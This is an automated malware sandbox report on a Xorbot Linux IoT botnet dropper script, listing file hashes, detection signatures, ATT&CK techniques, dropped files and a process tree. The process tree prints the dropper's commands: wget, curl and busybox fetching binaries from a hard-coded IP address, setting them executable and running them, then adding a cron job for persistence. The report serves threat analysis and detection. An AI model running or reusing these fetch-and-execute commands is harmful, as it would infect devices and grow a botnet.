xorbot | d17bddc04d883ddfc099121b2747c9ab72f0eb94155adf825fbc26f509ad20f9

Analysis

max time kernel
149s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30/11/2024, 22:07

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General

Target

bins.sh
Size

10KB
MD5

31630671c0f915f24de0fce6c46288f4
SHA1

ad952584e70499f7eec145402a2853f13911a948
SHA256

d17bddc04d883ddfc099121b2747c9ab72f0eb94155adf825fbc26f509ad20f9
SHA512

6d841292f6f0664deafd38e9d8bdb77e5893b892ca120b4080196238f724cc82ab43d60521e05ce6f323b4ca8866f2695f0b34b46c2c050d9f5856cc79afff2a
SSDEEP

192:Pk8v1zpvF+KVQUNa/YJU555N5l585s51ckNwmNGNGgBLcnCn6n0nlnBnYp555N5y:PkYUYJUz7jW6AkNwmNGNGgBLcC60lBYu

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1521	chmod
1528	chmod
1535	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2	1522	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
/tmp/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l	1529	EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
/tmp/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd	1536	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd

Renames itself 1 IoCs

pid	Process
1537	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.crlcUI	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/155/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/333/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1598/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1615/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1601/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1603/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1275/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1545/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/17/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/168/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/471/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1554/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1577/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1586/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1621/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/89/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/153/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/952/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1331/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1578/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1646/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1080/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1583/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1653/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/34/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/156/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/197/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/610/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1308/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1502/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1573/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/165/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/469/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1559/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1579/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1564/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1610/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1629/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/18/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/662/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/939/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1205/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1571/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1609/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/609/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1185/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1565/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1632/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1203/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1557/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1581/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1640/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/172/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/83/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1580/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/157/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1623/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/14/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/115/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1576/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1630/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/21/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
File opened for reading	/proc/1561/cmdline	Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2	busybox
File opened for modification	/tmp/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l	curl
File opened for modification	/tmp/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd	curl
File opened for modification	/tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2	wget
File opened for modification	/tmp/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l	wget
File opened for modification	/tmp/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l	busybox
File opened for modification	/tmp/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd	wget
File opened for modification	/tmp/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd	busybox
File opened for modification	/tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1505
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1506
- /usr/bin/wget
  wget http://216.126.231.240/bins/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  2⤵
  - Writes file to tmp directory
  PID:1507
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  2⤵
  - Writes file to tmp directory
  PID:1511
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/chmod
  chmod 777 cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  ./cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  2⤵
  - Executes dropped EXE
  PID:1522
- /bin/rm
  rm cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  2⤵
  PID:1524
- /usr/bin/wget
  wget http://216.126.231.240/bins/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
  2⤵
  - Writes file to tmp directory
  PID:1525
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
  2⤵
  - Writes file to tmp directory
  PID:1526
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
  2⤵
  - Writes file to tmp directory
  PID:1527
- /bin/chmod
  chmod 777 EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
  2⤵
  - File and Directory Permissions Modification
  PID:1528
- /tmp/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
  ./EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
  2⤵
  - Executes dropped EXE
  PID:1529
- /bin/rm
  rm EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
  2⤵
  PID:1531
- /usr/bin/wget
  wget http://216.126.231.240/bins/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
  2⤵
  - Writes file to tmp directory
  PID:1532
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/chmod
  chmod 777 Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
  2⤵
  - File and Directory Permissions Modification
  PID:1535
- /tmp/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
  ./Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1536
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1538
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1539
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1540
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1541
- /bin/rm
  rm Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd
  2⤵
  PID:1543
- /usr/bin/wget
  wget http://216.126.231.240/bins/oDxmfgwXBZxAaC7O95eg2v5jMIoKIYcyMN
  2⤵
  PID:1546

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/Z5OO5miJWnSThZTxTa9cuuNHFAE2pp2RMd

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.crlcUI

Filesize
210B

MD5
d1a2a1ed244e686f3ac1cc2d1f34c9c8

SHA1
e2e86ba114b798229c2982141b254849012f4484

SHA256
8f5c720f3144dfd042d34d0833d85a78250b83498ff05d7af0bb169444f2ed73

SHA512
2cff19dd7f06bb621aa28fbf4b6ef2a37a46eb6881364dfa23f81e11383fc2675ccf1feb523e1f282d4ad705f9440b7fe604a8d03f94619658adc295ac741721

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads